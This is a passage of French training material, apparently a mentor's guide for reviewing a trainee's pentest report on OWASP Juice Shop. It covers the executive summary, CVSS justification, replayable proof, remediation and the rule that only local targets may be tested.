- Résumé exécutif jargonneux : le réécrire jusqu'à ce qu'un non-technicien le comprenne. C'est l'exercice le plus difficile et le plus révélateur.
- Feuille de route ordonnée par numéro de finding plutôt que par priorité d'action.
- Annexes vides : sans elles, le rapport n'est pas reproductible.
- Un
git add -Aqui emporterait des artefacts ou un secret : le pas-à-pas ciblerapports/et vérifie l'absence de clé.
Questions à anticiper
- « Une page, c'est peu. » — c'est la contrainte : un décideur ne lit pas plus. La densité est la compétence.
- « J'ordonne par CVSS ou par effort ? » — sévérité d'abord, effort ensuite ; et un quick-win quasi gratuit peut légitimement remonter. C'est la réflexion 2.
Ce qu'il faut exiger — un résumé d'une page sans jargon, une feuille de route couvrant les dix findings avec des délais, des annexes qui renvoient aux artefacts, et un commit propre sans secret. Le test décisif : la première page lue par un profane livre le risque principal et la première action.
M5 · J3 — Rapport de pentest : dix findings, preuve et CVSS
Jour 3 · Les API, puis le rapport qui fait foi · 2 h
Deux heures avec votre encadrant, la dernière revue avant le projet fil rouge. Il lira votre rapport comme le lirait un client : un finding sans preuve rejouable, un vecteur CVSS indéfendable ou un statut « corrigé » de complaisance seront relevés.
Préparez de quoi montrer en direct trois choses : la preuve de trois findings rejouée sans filet, la justification d'un vecteur CVSS métrique par métrique, et les deux corrections (même charge refusée après). Le reste se lit ; celles-là se démontrent.
Le projet fil rouge et la soutenance ont lieu vendredi 21 : vous y assemblerez les cinq modules et présenterez, entre autres, ce rapport.
Intention — la dernière revue de M5, deux heures. Onze critères, dont trois se démontrent en direct (preuve rejouée, vecteur défendu, corrections avant/après) et huit se lisent. L'enjeu : sortir de la séance avec un rapport présentable au jury de vendredi.
Déroulé proposé (2 h)
- 15 min de démonstration : trois preuves rejouées, un vecteur CVSS justifié, les deux corrections avant/après.
- 45 min de lecture du rapport devant lui, en commentant à voix haute comme un client.
- 30 min sur les deux findings les moins bien argumentés.
- 30 min de bascule vers le fil rouge.
Ce qui coince
- Une preuve non rejouable en direct : le défaut le plus grave, à traiter avant tout le reste.
- Un vecteur CVSS indéfendable (« pourquoi AV:N ? » sans réponse) : la cotation est décorative, à reprendre.
- « Corrigé » de complaisance sur Juice Shop : le
grep 'corrigé'tranche. - Résumé exécutif jargonneux : le faire reformuler une phrase en direct.
- Le critère de déontologie coché sans discussion : lui demander ce qu'il a tapé quand quelque chose ne marchait pas ; un scan vers une cible externe « pour tester l'outil » se discute, ne se sanctionne pas en silence.
Questions à anticiper
- « Dois-je avoir tout corrigé ? » — non : on ne possède pas Juice Shop. Deux corrections réelles (VULN-04/08) et huit findings « ouverts » bien argumentés valent mieux qu'une liste de « corrigé » invérifiables.
- « Le fil rouge repart de quoi ? » — de devsecops-lab et de ce rapport ; d'où l'état propre du dépôt à vérifier avant de clore.
Ce qu'il faut exiger — les trois démonstrations réussies sans rattrapage, un rapport aux six parties avec dix findings complets, et une phrase de sa part sur un finding qu'il assume « ouvert » plutôt que faussement corrigé. Dernier critère, non négociable : rien n'a visé autre chose que ses deux cibles locales.